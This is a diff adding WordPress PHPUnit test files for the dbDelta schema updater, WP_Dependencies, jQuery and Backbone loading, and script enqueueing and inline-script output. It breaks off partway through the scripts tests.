+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				KEY changing_key_length (column_1(1)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			" );
+
+		$this->assertEmpty( $updates );
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1),
+				KEY compound_key (id,column_1),
+				KEY changing_key_length (column_1),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			" );
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 31679
+	 */
+	function test_column_type_change_with_hyphens_in_name() {
+		global $wpdb;
+
+		$schema = "
+			CREATE TABLE {$wpdb->prefix}dbdelta_test2 (
+				`foo-bar` varchar(255) DEFAULT NULL
+			)
+		";
+
+		$wpdb->query( $schema );
+
+		$schema_update = "
+			CREATE TABLE {$wpdb->prefix}dbdelta_test2 (
+				`foo-bar` text DEFAULT NULL
+			)
+		";
+
+		$updates = dbDelta( $schema_update );
+
+		$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}dbdelta_test2" );
+
+		$this->assertSame(
+			array(
+				"{$wpdb->prefix}dbdelta_test2.foo-bar" => "Changed type of {$wpdb->prefix}dbdelta_test2.foo-bar from varchar(255) to text",
+			),
+			$updates
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/dependencies.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/dependencies.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/dependencies.php	(revision 56912)
@@ -0,0 +1,139 @@
+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies extends WP_UnitTestCase {
+	function test_add() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$this->assertInstanceOf('_WP_Dependency', $dep->query( 'one' ));
+		$this->assertInstanceOf('_WP_Dependency', $dep->query( 'two' ));
+
+		//Cannot reuse names
+		$this->assertFalse($dep->add( 'one', '' ));
+	}
+
+	function test_remove() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$dep->remove( 'one' );
+
+		$this->assertFalse($dep->query( 'one'));
+		$this->assertInstanceOf('_WP_Dependency', $dep->query( 'two' ));
+
+	}
+
+	function test_enqueue() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$dep->enqueue('one');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertFalse($dep->query( 'two', 'queue' ));
+
+		$dep->enqueue('two');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+	}
+
+	function test_dequeue() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$dep->enqueue('one');
+		$dep->enqueue('two');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+
+		$dep->dequeue('one');
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+
+		$dep->dequeue('two');
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$this->assertFalse($dep->query( 'two', 'queue' ));
+	}
+
+	function test_enqueue_args() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$dep->enqueue('one?arg');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertFalse($dep->query( 'two', 'queue' ));
+		$this->assertEquals('arg', $dep->args['one']);
+
+		$dep->enqueue('two?arg');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+		$this->assertEquals('arg', $dep->args['two']);
+	}
+
+	function test_dequeue_args() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue($dep->add( 'one', '' ));
+		$this->assertTrue($dep->add( 'two', '' ));
+
+		$dep->enqueue('one?arg');
+		$dep->enqueue('two?arg');
+		$this->assertTrue($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+		$this->assertEquals('arg', $dep->args['one']);
+		$this->assertEquals('arg', $dep->args['two']);
+
+		$dep->dequeue('one');
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$this->assertTrue($dep->query( 'two', 'queue' ));
+		$this->assertFalse(isset($dep->args['one']));
+
+		$dep->dequeue('two');
+		$this->assertFalse($dep->query( 'one', 'queue' ));
+		$this->assertFalse($dep->query( 'two', 'queue' ));
+		$this->assertFalse(isset($dep->args['two']));
+	}
+
+	/**
+	 * @ticket 21741
+	 */
+	function test_query_and_registered_enqueued() {
+		$dep = new WP_Dependencies;
+
+		$this->assertTrue( $dep->add( 'one', '' ) );
+		$this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one' ) );
+		$this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one', 'registered' ) );
+		$this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one', 'scripts' ) );
+
+		$this->assertFalse( $dep->query( 'one', 'enqueued' ) );
+		$this->assertFalse( $dep->query( 'one', 'queue' ) );
+
+		$dep->enqueue( 'one' );
+
+		$this->assertTrue( $dep->query( 'one', 'enqueued' ) );
+		$this->assertTrue( $dep->query( 'one', 'queue' ) );
+
+		$dep->dequeue( 'one' );
+
+		$this->assertFalse( $dep->query( 'one', 'queue' ) );
+		$this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one' ) );
+
+		$dep->remove( 'one' );
+		$this->assertFalse( $dep->query( 'one' ) );
+
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/dependencies/backbonejs.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/dependencies/backbonejs.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/dependencies/backbonejs.php	(revision 56912)
@@ -0,0 +1,15 @@
+<?php
+
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_Backbonejs extends WP_UnitTestCase {
+
+	function test_exclusion_of_sourcemaps() {
+		$file = ABSPATH . WPINC . '/js/backbone.min.js';
+		$this->assertFileExists( $file );
+		$contents = trim( file_get_contents( $file ) );
+		$this->assertFalse( strpos( $contents, 'sourceMappingURL' ), 'Presence of sourceMappingURL' );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/dependencies/jquery.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/dependencies/jquery.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/dependencies/jquery.php	(revision 56912)
@@ -0,0 +1,116 @@
+<?php
+
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_jQuery extends WP_UnitTestCase {
+
+	function test_location_of_jquery() {
+		$scripts = new WP_Scripts;
+		wp_default_scripts( $scripts );
+
+		$jquery_scripts = array(
+			'jquery-core' => '/wp-includes/js/jquery/jquery.js',
+		);
+		if ( SCRIPT_DEBUG )
+			$jquery_scripts['jquery-migrate'] = '/wp-includes/js/jquery/jquery-migrate.js';
+		else
+			$jquery_scripts['jquery-migrate'] = '/wp-includes/js/jquery/jquery-migrate.min.js';
+
+		$object = $scripts->query( 'jquery', 'registered' );
+		$this->assertInstanceOf( '_WP_Dependency', $object );
+        $this->assertEqualSets( $object->deps, array_keys( $jquery_scripts ) );
+        foreach( $object->deps as $dep ) {
+            $o = $scripts->query( $dep, 'registered' );
+            $this->assertInstanceOf( '_WP_Dependency', $object );
+            $this->assertTrue( isset( $jquery_scripts[ $dep ] ) );
+            $this->assertEquals( $jquery_scripts[ $dep ], $o->src );
+        }
+	}
+
+	function test_presence_of_jquery_no_conflict() {
+		$contents = trim( file_get_contents( ABSPATH . WPINC . '/js/jquery/jquery.js' ) );
+		$noconflict = 'jQuery.noConflict();';
+		$end = substr( $contents, - strlen( $noconflict ) );
+		$this->assertEquals( $noconflict, $end );
+	}
+
+	/**
+	 * @ticket 22896
+	 *
+	 * @expectedIncorrectUsage wp_deregister_script
+	 */
+	function test_dont_allow_deregister_core_scripts_in_admin() {
+		set_current_screen( 'edit.php' );
+		$this->assertTrue( is_admin() ) ;
+		$libraries = array(
+			'jquery', 'jquery-core', 'jquery-migrate', 'jquery-ui-core', 'jquery-ui-accordion',
+			'jquery-ui-autocomplete', 'jquery-ui-button', 'jquery-ui-datepicker', 'jquery-ui-dialog',
+			'jquery-ui-draggable', 'jquery-ui-droppable', 'jquery-ui-menu', 'jquery-ui-mouse',
+			'jquery-ui-position', 'jquery-ui-progressbar', 'jquery-ui-resizable', 'jquery-ui-selectable',
+			'jquery-ui-slider', 'jquery-ui-sortable', 'jquery-ui-spinner', 'jquery-ui-tabs',
+			'jquery-ui-tooltip', 'jquery-ui-widget', 'backbone', 'underscore',
+		);
+
+		foreach ( $libraries as $library ) {
+			// Try to deregister the script, which should fail.
+			wp_deregister_script( $library );
+			$this->assertTrue( wp_script_is( $library, 'registered' ) );
+		}
+
+		set_current_screen( 'front' );
+	}
+
+	/**
+	 * @ticket 24994
+	 */
+	function test_exclusion_of_sourcemaps() {
+		$contents = trim( file_get_contents( ABSPATH . WPINC . '/js/jquery/jquery.js' ) );
+		$this->assertFalse( strpos( $contents, 'sourceMappingURL' ), 'Presence of sourceMappingURL' );
+	}
+
+	/**
+	 * @ticket 28404
+	 */
+	function test_wp_script_is_dep_enqueued() {
+		wp_enqueue_script( 'jquery-ui-accordion' );
+
+		$this->assertTrue( wp_script_is( 'jquery', 'enqueued' ) );
+		$this->assertFalse( wp_script_is( 'underscore', 'enqueued' ) );
+
+		unset( $GLOBALS['wp_scripts'] );
+	}
+
+	/**
+	 * Test placing of jQuery in footer.
+	 *
+	 * @ticket 25247
+	 */
+	function test_jquery_in_footer() {
+		$scripts = new WP_Scripts;
+		$scripts->add( 'jquery', false, array( 'jquery-core', 'jquery-migrate' ) );
+		$scripts->add( 'jquery-core', '/jquery.js', array() );
+		$scripts->add( 'jquery-migrate', '/jquery-migrate.js', array() );
+
+		$scripts->enqueue( 'jquery' );
+
+		$jquery = $scripts->query( 'jquery' );
+		$jquery->add_data( 'group', 1 );
+		foreach( $jquery->deps as $dep ) {
+			$scripts->add_data( $dep, 'group', 1 );
+		}
+
+		$this->expectOutputRegex( '/^(?:<script[^>]+><\/script>\\n){2}$/' );
+
+		$scripts->do_items( false, 0 );
+		$this->assertNotContains( 'jquery', $scripts->done );
+		$this->assertNotContains( 'jquery-core', $scripts->done, 'jquery-core should be in footer but is in head' );
+		$this->assertNotContains( 'jquery-migrate', $scripts->done, 'jquery-migrate should be in footer but is in head' );
+
+		$scripts->do_items( false, 1 );
+		$this->assertContains( 'jquery', $scripts->done );
+		$this->assertContains( 'jquery-core', $scripts->done, 'jquery-core in footer' );
+		$this->assertContains( 'jquery-migrate', $scripts->done, 'jquery-migrate in footer' );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/dependencies/scripts.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/dependencies/scripts.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/dependencies/scripts.php	(revision 56912)
@@ -0,0 +1,1338 @@
+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_Scripts extends WP_UnitTestCase {
+	protected $old_wp_scripts;
+
+	protected $wp_scripts_print_translations_output;
+
+	function setUp() {
+		parent::setUp();
+		$this->old_wp_scripts = isset( $GLOBALS['wp_scripts'] ) ? $GLOBALS['wp_scripts'] : null;
+		remove_action( 'wp_default_scripts', 'wp_default_scripts' );
+		remove_action( 'wp_default_scripts', 'wp_default_packages' );
+		$GLOBALS['wp_scripts'] = new WP_Scripts();
+		$GLOBALS['wp_scripts']->default_version = get_bloginfo( 'version' );
+
+		$this->wp_scripts_print_translations_output  = <<<JS
+<script type='text/javascript'>
+( function( domain, translations ) {
+	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
+	localeData[""].domain = domain;
+	wp.i18n.setLocaleData( localeData, domain );
+} )( "__DOMAIN__", __JSON_TRANSLATIONS__ );
+</script>
+JS;
+		$this->wp_scripts_print_translations_output .= "\n";
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_scripts'] = $this->old_wp_scripts;
+		add_action( 'wp_default_scripts', 'wp_default_scripts' );
+		parent::tearDown();
+	}
+
+	/**
+	 * Test versioning
+	 * @ticket 11315
+	 */
+	function test_wp_enqueue_script() {
+		wp_enqueue_script('no-deps-no-version', 'example.com', array());
+		wp_enqueue_script('empty-deps-no-version', 'example.com' );
+		wp_enqueue_script('empty-deps-version', 'example.com', array(), 1.2);
+		wp_enqueue_script('empty-deps-null-version', 'example.com', array(), null);
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='http://example.com?ver=$ver'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com?ver=$ver'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com?ver=1.2'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+
+		$this->assertEquals($expected, get_echo('wp_print_scripts'));
+
+		// No scripts left to print
+		$this->assertEquals("", get_echo('wp_print_scripts'));
+	}
+
+	/**
+	 * Test the different protocol references in wp_enqueue_script
+	 * @global WP_Scripts $wp_scripts
+	 * @ticket 16560
+	 */
+	public function test_protocols() {
+		// Init
+		global $wp_scripts;
+		$base_url_backup = $wp_scripts->base_url;
+		$wp_scripts->base_url = 'http://example.com/wordpress';
+		$expected = '';
+		$ver = get_bloginfo( 'version' );
+
+		// Try with an HTTP reference
+		wp_enqueue_script( 'jquery-http', 'http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+		$expected  .= "<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+		// Try with an HTTPS reference
+		wp_enqueue_script( 'jquery-https', 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+		$expected  .= "<script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+		// Try with an automatic protocol reference (//)
+		wp_enqueue_script( 'jquery-doubleslash', '//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+		$expected  .= "<script type='text/javascript' src='//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+		// Try with a local resource and an automatic protocol reference (//)
+		$url = '//my_plugin/script.js';
+		wp_enqueue_script( 'plugin-script', $url );
+		$expected  .= "<script type='text/javascript' src='$url?ver=$ver'></script>\n";
+
+		// Try with a bad protocol
+		wp_enqueue_script( 'jquery-ftp', 'ftp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+		$expected  .= "<script type='text/javascript' src='{$wp_scripts->base_url}ftp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+		// Go!
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+
+		// No scripts left to print
+		$this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+
+		// Cleanup
+		$wp_scripts->base_url = $base_url_backup;
+	}
+
+	/**
+	 * Test script concatenation.
+	 */
+	public function test_script_concatenation() {
+		global $wp_scripts;
+
+		$wp_scripts->do_concat = true;
+		$wp_scripts->default_dirs = array( '/directory/' );
+
+		wp_enqueue_script( 'one', '/directory/script.js' );
+		wp_enqueue_script( 'two', '/directory/script.js' );
+		wp_enqueue_script( 'three', '/directory/script.js' );
+
+		wp_print_scripts();
+		$print_scripts = get_echo( '_print_scripts' );
+
+		$ver = get_bloginfo( 'version' );
+		$expected = "<script type='text/javascript' src='/wp-admin/load-scripts.php?c=0&amp;load%5B%5D=one,two,three&amp;ver={$ver}'></script>\n";
+
+		$this->assertEquals( $expected, $print_scripts );
+	}
+
+	/**
+	 * Testing `wp_script_add_data` with the data key.
+	 * @ticket 16024
+	 */
+	function test_wp_script_add_data_with_data_key() {
+		// Enqueue & add data
+		wp_enqueue_script( 'test-only-data', 'example.com', array(), null );
+		wp_script_add_data( 'test-only-data', 'data', 'testing' );
+		$expected = "<script type='text/javascript'>\n/* <![CDATA[ */\ntesting\n/* ]]> */\n</script>\n";
+		$expected.= "<script type='text/javascript' src='http://example.com'></script>\n";
+
+		// Go!
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+
+		// No scripts left to print
+		$this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * Testing `wp_script_add_data` with the conditional key.
+	 * @ticket 16024
+	 */
+	function test_wp_script_add_data_with_conditional_key() {
+		// Enqueue & add conditional comments
+		wp_enqueue_script( 'test-only-conditional', 'example.com', array(), null );
+		wp_script_add_data( 'test-only-conditional', 'conditional', 'gt IE 7' );
+		$expected = "<!--[if gt IE 7]>\n<script type='text/javascript' src='http://example.com'></script>\n<![endif]-->\n";
+
+		// Go!
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+
+		// No scripts left to print
+		$this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * Testing `wp_script_add_data` with both the data & conditional keys.
+	 * @ticket 16024
+	 */
+	function test_wp_script_add_data_with_data_and_conditional_keys() {
+		// Enqueue & add data plus conditional comments for both
+		wp_enqueue_script( 'test-conditional-with-data', 'example.com', array(), null );
+		wp_script_add_data( 'test-conditional-with-data', 'data', 'testing' );
+		wp_script_add_data( 'test-conditional-with-data', 'conditional', 'lt IE 9' );
+		$expected = "<!--[if lt IE 9]>\n<script type='text/javascript'>\n/* <![CDATA[ */\ntesting\n/* ]]> */\n</script>\n<![endif]-->\n";
+		$expected.= "<!--[if lt IE 9]>\n<script type='text/javascript' src='http://example.com'></script>\n<![endif]-->\n";
+
+		// Go!
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+
+		// No scripts left to print
+		$this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * Testing `wp_script_add_data` with an anvalid key.
+	 * @ticket 16024
+	 */
+	function test_wp_script_add_data_with_invalid_key() {
+		// Enqueue & add an invalid key
+		wp_enqueue_script( 'test-invalid', 'example.com', array(), null );
+		wp_script_add_data( 'test-invalid', 'invalid', 'testing' );
+		$expected = "<script type='text/javascript' src='http://example.com'></script>\n";
+
+		// Go!
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+
+		// No scripts left to print
+		$this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * Testing 'wp_register_script' return boolean success/failure value.
+	 *
+	 * @ticket 31126
+	 */
+	function test_wp_register_script() {
+		$this->assertTrue( wp_register_script( 'duplicate-handler', 'http://example.com' ) );
+		$this->assertFalse( wp_register_script( 'duplicate-handler', 'http://example.com' ) );
+	}
+
+	/**
+	 * @ticket 35229
+	 */
+	function test_wp_register_script_with_handle_without_source() {
+		$expected  = "<script type='text/javascript' src='http://example.com?ver=1'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com?ver=2'></script>\n";
+
+		wp_register_script( 'handle-one', 'http://example.com', array(), 1 );
+		wp_register_script( 'handle-two', 'http://example.com', array(), 2 );
+		wp_register_script( 'handle-three', false, array( 'handle-one', 'handle-two' ) );
+
+		wp_enqueue_script( 'handle-three' );
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 35643
+	 */
+	function test_wp_enqueue_script_footer_alias() {
+		wp_register_script( 'foo', false, array( 'bar', 'baz' ), '1.0', true );
+		wp_register_script( 'bar', home_url( 'bar.js' ), array(), '1.0', true );
+		wp_register_script( 'baz', home_url( 'baz.js' ), array(), '1.0', true );
+
+		wp_enqueue_script( 'foo' );
+
+		$header = get_echo( 'wp_print_head_scripts' );
+		$footer = get_echo( 'wp_print_footer_scripts' );
+
+		$this->assertEmpty( $header );
+		$this->assertContains( home_url( 'bar.js' ), $footer );
+		$this->assertContains( home_url( 'baz.js' ), $footer );
+	}
+
+	/**
+	 * Test mismatch of groups in dependencies outputs all scripts in right order.
+	 *
+	 * @ticket 35873
+	 */
+	public function test_group_mismatch_in_deps() {
+		$scripts = new WP_Scripts;
+		$scripts->add( 'one', 'one', array(), 'v1', 1 );
+		$scripts->add( 'two', 'two', array( 'one' ) );
+		$scripts->add( 'three', 'three', array( 'two' ), 'v1', 1 );
+
+		$scripts->enqueue( array( 'three' ) );
+
+		$this->expectOutputRegex( '/^(?:<script[^>]+><\/script>\\n){7}$/' );
+
+		$scripts->do_items( false, 0 );
+		$this->assertContains( 'one', $scripts->done );
+		$this->assertContains( 'two', $scripts->done );
+		$this->assertNotContains( 'three', $scripts->done );
+
+		$scripts->do_items( false, 1 );
+		$this->assertContains( 'one', $scripts->done );
+		$this->assertContains( 'two', $scripts->done );
+		$this->assertContains( 'three', $scripts->done );
+
+		$scripts = new WP_Scripts;
+		$scripts->add( 'one', 'one', array(), 'v1', 1 );
+		$scripts->add( 'two', 'two', array( 'one' ), 'v1', 1 );
+		$scripts->add( 'three', 'three', array( 'one' ) );
+		$scripts->add( 'four', 'four', array( 'two', 'three' ), 'v1', 1 );
+
+		$scripts->enqueue( array( 'four' ) );
+
+		$scripts->do_items( false, 0 );
+		$this->assertContains( 'one', $scripts->done );
+		$this->assertNotContains( 'two', $scripts->done );
+		$this->assertContains( 'three', $scripts->done );
+		$this->assertNotContains( 'four', $scripts->done );
+
+		$scripts->do_items( false, 1 );
+		$this->assertContains( 'one', $scripts->done );
+		$this->assertContains( 'two', $scripts->done );
+		$this->assertContains( 'three', $scripts->done );
+		$this->assertContains( 'four', $scripts->done );
+	}
+
+	/**
+	 * @ticket 35873
+	 */
+	function test_wp_register_script_with_dependencies_in_head_and_footer() {
+		wp_register_script( 'parent', '/parent.js', array( 'child-head' ), null, true ); // in footer
+		wp_register_script( 'child-head', '/child-head.js', array( 'child-footer' ), null, false ); // in head
+		wp_register_script( 'child-footer', '/child-footer.js', array(), null, true ); // in footer
+
+		wp_enqueue_script( 'parent' );
+
+		$header = get_echo( 'wp_print_head_scripts' );
+		$footer = get_echo( 'wp_print_footer_scripts' );
+
+		$expected_header  = "<script type='text/javascript' src='/child-footer.js'></script>\n";
+		$expected_header .= "<script type='text/javascript' src='/child-head.js'></script>\n";
+		$expected_footer  = "<script type='text/javascript' src='/parent.js'></script>\n";
+
+		$this->assertEquals( $expected_header, $header );
+		$this->assertEquals( $expected_footer, $footer );
+	}
+
+	/**
+	 * @ticket 35956
+	 */
+	function test_wp_register_script_with_dependencies_in_head_and_footer_in_reversed_order() {
+		wp_register_script( 'child-head', '/child-head.js', array(), null, false ); // in head
+		wp_register_script( 'child-footer', '/child-footer.js', array(), null, true ); // in footer
+		wp_register_script( 'parent', '/parent.js', array( 'child-head', 'child-footer' ), null, true ); // in footer
+
+		wp_enqueue_script( 'parent' );
+
+		$header = get_echo( 'wp_print_head_scripts' );
+		$footer = get_echo( 'wp_print_footer_scripts' );
+
+		$expected_header  = "<script type='text/javascript' src='/child-head.js'></script>\n";
+		$expected_footer  = "<script type='text/javascript' src='/child-footer.js'></script>\n";
+		$expected_footer .= "<script type='text/javascript' src='/parent.js'></script>\n";
+
+		$this->assertEquals( $expected_header, $header );
+		$this->assertEquals( $expected_footer, $footer );
+	}
+
+	/**
+	 * @ticket 35956
+	 */
+	function test_wp_register_script_with_dependencies_in_head_and_footer_in_reversed_order_and_two_parent_scripts() {
+		wp_register_script( 'grandchild-head', '/grandchild-head.js', array(), null, false ); // in head
+		wp_register_script( 'child-head', '/child-head.js', array(), null, false ); // in head
+		wp_register_script( 'child-footer', '/child-footer.js', array( 'grandchild-head' ), null, true ); // in footer
+		wp_register_script( 'child2-head', '/child2-head.js', array(), null, false ); // in head
+		wp_register_script( 'child2-footer', '/child2-footer.js', array(), null, true ); // in footer
+		wp_register_script( 'parent-footer', '/parent-footer.js', array( 'child-head', 'child-footer', 'child2-head', 'child2-footer' ), null, true ); // in footer
+		wp_register_script( 'parent-header', '/parent-header.js', array( 'child-head' ), null, false ); // in head
+
+		wp_enqueue_script( 'parent-footer' );
+		wp_enqueue_script( 'parent-header' );
+
+		$header = get_echo( 'wp_print_head_scripts' );
+		$footer = get_echo( 'wp_print_footer_scripts' );
+
+		$expected_header  = "<script type='text/javascript' src='/child-head.js'></script>\n";
+		$expected_header .= "<script type='text/javascript' src='/grandchild-head.js'></script>\n";
+		$expected_header .= "<script type='text/javascript' src='/child2-head.js'></script>\n";
+		$expected_header .= "<script type='text/javascript' src='/parent-header.js'></script>\n";
+
+		$expected_footer  = "<script type='text/javascript' src='/child-footer.js'></script>\n";
+		$expected_footer .= "<script type='text/javascript' src='/child2-footer.js'></script>\n";
+		$expected_footer .= "<script type='text/javascript' src='/parent-footer.js'></script>\n";
+
+		$this->assertEquals( $expected_header, $header );
+		$this->assertEquals( $expected_footer, $footer );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	function test_wp_add_inline_script_returns_bool() {
+		$this->assertFalse( wp_add_inline_script( 'test-example', 'console.log("before");', 'before' ) );
+		wp_enqueue_script( 'test-example', 'example.com', array(), null );
+		$this->assertTrue( wp_add_inline_script( 'test-example', 'console.log("before");', 'before' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	function test_wp_add_inline_script_unknown_handle() {
+		$this->assertFalse( wp_add_inline_script( 'test-invalid', 'console.log("before");', 'before' ) );
+		$this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	function test_wp_add_inline_script_before() {
+		wp_enqueue_script( 'test-example', 'example.com', array(), null );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+
+		$expected  = "<script type='text/javascript'>\nconsole.log(\"before\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	function test_wp_add_inline_script_after() {
+		wp_enqueue_script( 'test-example', 'example.com', array(), null );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+
+		$expected  = "<script type='text/javascript' src='http://example.com'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	function test_wp_add_inline_script_before_and_after() {
+		wp_enqueue_script( 'test-example', 'example.com', array(), null );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+
+		$expected  = "<script type='text/javascript'>\nconsole.log(\"before\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 44551
+	 */
+	function test_wp_add_inline_script_before_for_handle_without_source() {
+		wp_register_script( 'test-example', '' );
+		wp_enqueue_script( 'test-example' );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+
+		$expected = "<script type='text/javascript'>\nconsole.log(\"before\");\n</script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 44551
+	 */
+	function test_wp_add_inline_script_after_for_handle_without_source() {
+		wp_register_script( 'test-example', '' );
+		wp_enqueue_script( 'test-example' );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+
+		$expected = "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 44551
+	 */
+	function test_wp_add_inline_script_before_and_after_for_handle_without_source() {
+		wp_register_script( 'test-example', '' );
+		wp_enqueue_script( 'test-example' );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+
+		$expected  = "<script type='text/javascript'>\nconsole.log(\"before\");\n</script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	function test_wp_add_inline_script_multiple() {
+		wp_enqueue_script( 'test-example', 'example.com', array(), null );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+
+		$expected  = "<script type='text/javascript'>\nconsole.log(\"before\");\nconsole.log(\"before\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
